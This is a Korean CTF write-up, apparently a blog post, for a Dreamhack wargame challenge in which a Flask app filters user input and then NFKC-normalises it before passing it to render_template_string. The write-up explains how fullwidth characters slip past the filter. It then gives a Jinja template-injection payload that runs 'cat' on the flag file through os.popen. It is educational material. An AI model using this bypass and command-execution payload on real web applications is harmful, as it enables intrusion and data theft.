반응형
문제설명
Hangul 문제의 언인텐 취약점을 수정하였습니다.
플래그 파일은 /home/hangul/flag에 있습니다.
플래그의 형식은 WaRP{...}입니다.
코드분석
@app.route("/", methods=["GET", "POST"])
def index():
message = ""
if request.method == "POST":
message = request.form["message"]
if re.search("[a-zA-Z]", message):
message = "한글을 사용합시다!"
for i in "!@#$%^&*=;,<>?1234567890":
if i in message:
message = "해킹을 하지 맙시다!"
message = unicodedata.normalize("NFKC", message) # for normalize Windows and Mac Hangul implementation
return render_template_string('''
<form method="POST">
입력: <input type="text" name="message">
<input type="submit">
</form>
<p>출력:</p>
<div>%s</div>
''' % message)
- 메시지를 사용자로부터 입력받음
- message 안에 영문자(소문자, 대문자) 넣을 시 '한글을 사용합시다' 출력
- message는 !@#$%^&*=;,<>?1234567890 가 있으면 해킹을 하지 맙시다 라는 문구 출력
- message는 유니코드 정규화(NFKC)해서 다시 message로 입력
- %s 자리에 사용자가 입력한 message 삽입 / 완성된 문자열을 템플릿으로 실행해 HTML 응답 생성
취약점 분석
- 사용자가 입력한 message가 그대로 삽입됨
문자열을 템플릿으로 반환함 → {{ ... }} 같은 문구는 코드로 실행함
익스플로잇
필터링 검사를 정규화 이전에 한다.
전각 문자를 사용해 필터링을 우회한다.
{{ ... }}
NFKC 후 {{ ... }} 으로 변환. 서버가 정규화하면서 Jinja 문법으로 복원하게 함
cycler.__init__.__globals__.os.popen('cat /home/hangul/flag').read()
명령 실행 결과를 문자열로 받아 템플릿으로 출력시키기 위해 코드 작성
따라서 총 페이로드는
{{ cycler.__init__.__globals__.os.popen('cat /home/hangul/flag 2>&1').read() }}
- 전각 문자를 사용해 필터링을 우회하고 NFKC 후 전각문자들을 우리가 알던 코드로 변환해 원하는 페이로드를 작성
전각 문자
: 문자 1개가 두 칸 폭을 차지하도록 만든 문자 형태
반각 → 우리가 보통 쓰는 영문/숫자/기호 ex) A 1 !
전각 → 모양이 더 넓고, 같은 글자라도 폭이 큼 ex)A 1 !
겉보기엔 비슷하지만 컴퓨터 입장에서는 다른 문자로 해석함!

반응형
'Dreamhack 워게임 > Lv.1' 카테고리의 다른 글
| Test Your Luck (0) | 2026.02.19 |
|---|---|
| My Best Friend (0) | 2026.02.19 |
| Ctrl-C (0) | 2026.02.19 |
| Pearfect Markdown (0) | 2026.02.15 |
| Simple Note Manager (0) | 2026.02.15 |